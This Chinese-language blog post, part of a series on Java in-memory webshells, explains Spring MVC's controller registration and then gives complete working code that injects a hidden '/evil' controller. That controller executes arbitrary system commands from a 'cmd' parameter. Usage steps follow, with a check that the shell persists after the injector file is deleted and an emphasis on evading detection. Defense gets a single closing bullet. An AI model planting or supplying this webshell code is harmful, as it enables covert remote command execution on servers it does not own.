Loading ...
Java 内存马(四):Spring Boot Controller 内存马

1. 基本概念

Spring Boot Controller 内存马 是针对 Spring Boot 框架特性设计的内存马,利用 Spring MVC 中 RequestMappingHandlerMapping 的动态注册能力,在运行时将恶意 Controller 注入 Spring 容器,无需文件落地即可实现 URL 绑定与恶意逻辑执行。

核心特点

  • 框架依赖:基于 Spring MVC 组件(DispatcherServletRequestMappingHandlerMapping)实现,仅适用于 Spring Boot Web 项目

  • URL 显式触发:恶意逻辑绑定到特定 URL 路径,需访问该路径才能触发(类似 Servlet 内存马,但更贴合 Spring 生态)

  • 无文件落地:无需编写 .class 文件或配置 application.properties/yaml,全程通过内存反射与 API 调用完成注入

  • 容器驻留:注入后持续存在于 Spring 容器中,直至应用重启或主动卸载

常见利用场景

  • 攻击者通过漏洞(如文件上传、命令执行)在目标 Spring Boot 应用中执行注入代码

  • 注入后通过访问预设 URL 传递命令参数(如 cmd=whoami),实现远程控制

  • 注入完成后可删除触发注入的入口文件(如 JSP、恶意接口),仅留存内存中的恶意 Controller

2. Spring Boot Controller 正常装载流程(开发者视角)

要理解内存马原理,需先掌握 Spring Boot 中 Controller 的正常开发与加载逻辑。

2.1 搭建 Spring Boot 项目

  1. 通过 阿里云 Spring 初始化平台 创建项目,选择以下配置:

    • Spring Boot 版本:2.4.2(文档验证稳定版本,其他 Web 支持版本通用)

    • 构建工具:Maven

    • 依赖组件:Spring Web(必须,提供 MVC 与 Servlet 容器支持)

  2. 下载项目压缩包,解压后用 IDEA 打开,核心项目结构如下:

    spring-demo/
    ├── src/
    │   └── main/
    │       └── java/
    │           └── com/example/demo/
    │               ├── DemoApplication.java  # 启动类
    │               └── demos/web/
    │                   └── MyController.java  # 自定义 Controller
    └── pom.xml  # 依赖配置

2.2 编写 Controller 类

通过 @RestController@RequestMapping 注解定义接口,示例代码如下:

package com.example.demo.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

// 标识为 REST 风格 Controller(返回 JSON/字符串,无需视图解析)
@RestController
public class MyController {
    // 绑定 URL 路径 /index,处理 GET/POST 请求
    @RequestMapping("/index")
    public String index() {
        return "index"; // 响应内容
    }
}

2.3 启动与访问

  1. 运行 DemoApplication 启动类(含 @SpringBootApplication 注解)

  2. 浏览器访问 http://localhost:8080/index,页面显示 index,说明 Controller 正常加载

3. Spring Boot Controller 加载流程(框架内部机制)

通过调试模式跟踪请求流程,可揭示 Spring Boot 如何将 URL 与 Controller 方法绑定。

3.1 核心请求链路

当访问 http://localhost:8080/index 时,请求经过以下关键步骤:

  1. Servlet 容器层:请求先经过 Tomcat 内置容器的 Filter 链(如 WsFilterRequestContextFilter

  2. Spring MVC 入口:进入 DispatcherServlet(Spring MVC 核心前端控制器)

  3. 请求分发DispatcherServlet.doDispatch() 方法负责请求分发,核心逻辑是「找到匹配的 Controller 方法」

  4. Handler 映射:通过 getHandler() 方法遍历 handlerMappings 列表,找到能处理 /index 路径的映射器

  5. 方法执行:调用匹配的 Controller 方法(MyController.index()),返回响应结果

3.2 关键组件解析

(1)HandlerMapping 列表

handlerMappings 是 Spring MVC 中用于 URL 与 Controller 映射的核心组件,默认包含 5 个实现类,其中 RequestMappingHandlerMapping 负责处理 @RequestMapping 注解的 Controller:

映射器类名 作用
RequestMappingHandlerMapping 处理 @RequestMapping 注解的 Controller 方法
WelcomePageHandlerMapping 处理默认首页(如 / 路径)
BeanNameUrlHandlerMapping 通过 Bean 名称作为 URL 路径映射
RouterFunctionMapping 处理函数式编程风格的路由
SimpleUrlHandlerMapping 处理简单 URL 与 Handler 的直接映射

(2)映射注册核心:MappingRegistry

RequestMappingHandlerMapping 内部通过 MappingRegistry 存储 URL 与 Controller 方法的映射关系,本质是一个内存 Map,结构如下:

  • Key:URL 路径(如 /index

  • Value:RequestMappingInfo 对象(封装请求方法、路径、参数等匹配规则)+ 对应的 Controller 方法(HandlerMethod

(3)正常注册流程

Spring Boot 启动时,RequestMappingHandlerMapping 会自动扫描带有 @Controller/@RestController 注解的类,解析 @RequestMapping 注解信息,通过 registerHandlerMethod() 方法将映射关系注册到 MappingRegistry 中。

4. 内存马实现机制

内存马的核心思路是 跳过 Spring 启动时的自动扫描流程,在运行时通过反射与框架 API 手动调用 registerHandlerMethod(),将恶意 Controller 注入 MappingRegistry

4.1 实现步骤拆解

  1. 获取 Spring 上下文:通过 RequestContextHolder 拿到当前请求的 WebApplicationContext(Spring 容器核心)

  2. 获取映射器实例:从上下文获取 RequestMappingHandlerMapping 对象(负责 Controller 映射注册)

  3. 定义恶意 Controller:创建含恶意逻辑(如命令执行)的 Controller 类

  4. 构建映射规则:通过 RequestMappingInfo 定义恶意 Controller 绑定的 URL 路径(如 /evil

  5. 注册映射关系:调用 registerHandlerMethod() 将恶意 Controller 方法注册到 MappingRegistry

4.2 关键 API 说明

API 方法 作用
WebApplicationContext.getBean() 获取 Spring 容器中的 RequestMappingHandlerMapping 实例
RequestMappingInfo 构造方法 构建 URL 路径、请求方法等映射规则
RequestMappingHandlerMapping.registerMapping() 将恶意 Controller 方法注册到映射表中
RequestContextHolder.getRequestAttributes() 获取当前请求上下文,用于后续获取请求参数

5. 示例代码(Spring Boot Controller 内存马)

以下代码通过一个合法接口 /inject/controller 触发内存马注入,注入后可通过 /evil?cmd=xxx 执行系统命令。

5.1 注入入口 Controller

import org.springframework.context.ApplicationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.annotation.PatternsRequestCondition;
​
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
​
@RestController
public class InjectEntryController {
   // 1. 正常接口(用于测试)
   @RequestMapping("/hello")
   public String hello() {
       return "hello world";
  }
​
   // 2. 内存马注入入口:访问 /inject/controller 触发注入
   @RequestMapping("/inject/controller")
   public String injectController() throws NoSuchMethodException {
       // 步骤1:获取 Spring Web 上下文
       ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
       WebApplicationContext context = (WebApplicationContext) requestAttributes.getAttribute(
               DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
​
       // 步骤2:获取 RequestMappingHandlerMapping 实例(核心映射器)
       RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
​
       // 步骤3:创建恶意 Controller 实例
       EvilController evilController = new EvilController();
​
       // 步骤4:构建映射规则:URL 路径为 /evil,允许所有请求方法(GET/POST)
       PatternsRequestCondition urlPattern = new PatternsRequestCondition("/evil"); // URL 绑定
       RequestMethodsRequestCondition requestMethods = new RequestMethodsRequestCondition(); // 允许所有请求方法
       RequestMappingInfo mappingInfo = new RequestMappingInfo(
               urlPattern,    // URL 模式
               requestMethods,// 请求方法
               null, null, null, null, null
      );
​
       // 步骤5:注册恶意 Controller 方法到映射表
       Method evilMethod = evilController.getClass().getMethod("execCmd"); // 获取恶意方法
       mapping.registerMapping(mappingInfo, evilController, evilMethod); // 注册映射
​
       return "Spring Boot Controller 内存马注入成功!";
  }
​
   // 3. 恶意 Controller:含命令执行逻辑
   @RestController
   public static class EvilController {
       // 恶意方法:处理 /evil 请求,执行 cmd 参数指定的系统命令
       public String execCmd() throws IOException {
           // 获取当前请求对象,用于接收 cmd 参数
           HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
           String cmd = request.getParameter("cmd"); // 命令参数(如 cmd=whoami)
​
           if (cmd == null || cmd.trim().isEmpty()) {
               return "请传入 cmd 参数(如 /evil?cmd=whoami)";
          }
​
           // 执行系统命令并读取结果
           Runtime runtime = Runtime.getRuntime();
           Process process = runtime.exec(cmd);
           BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
​
           StringBuilder result = new StringBuilder();
           String line;
           while ((line = reader.readLine()) != null) {
               result.append(line).append("\n"); // 拼接命令输出
          }
           reader.close();
​
           return "命令执行结果:\n" + result;
      }
  }
}

6. 触发步骤

  1. 启动目标应用:运行含上述代码的 Spring Boot 项目(确保 InjectEntryController 被 Spring 扫描到)

  2. 触发内存马注入

    • 浏览器访问 http://localhost:8080/inject/controller

    • 页面显示 Spring Boot Controller 内存马注入成功!,说明恶意 Controller 已注册

  3. 执行恶意逻辑

    • 访问 http://localhost:8080/evil?cmd=whoami(Windows 系统)或 http://localhost:8080/evil?cmd=id(Linux 系统)

    • 页面返回命令执行结果(如当前用户信息)

  4. 隐蔽性验证

    • 删除 InjectEntryController.java 源文件或编译后的 .class 文件

    • 再次访问 http://localhost:8080/evil?cmd=whoami,仍能执行命令(内存马驻留)

7. 总结

7.1 核心原理对比

对比维度 正常 Controller 加载 Controller 内存马加载
触发时机 Spring Boot 启动时自动扫描 运行时通过注入入口(如接口)触发
依赖文件 .java 源文件或 .class 文件 无文件落地,全程内存操作
注册方式 框架自动调用 registerHandlerMethod 手动反射 / API 调用 registerHandlerMethod
可见性 可在代码 / 编译产物中找到 仅存在于 Spring 容器内存,无迹可寻

7.2 关键要点

  • 核心入口RequestMappingHandlerMapping 是注入的核心对象,所有 @RequestMapping 注解的 Controller 都通过它注册

  • 必备条件:注入时需获取 Spring 上下文(WebApplicationContext),通常通过 RequestContextHolderServletContext 间接获取

  • 隐蔽性:相比 Servlet/Filter 内存马,Controller 内存马更贴合 Spring Boot 正常业务逻辑,URL 路径可伪装成普通接口,更难被察觉

  • 防御方向:监控 RequestMappingHandlerMapping.registerMapping 方法的异常调用、检测未知 URL 路径(如 /evil)的突然出现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇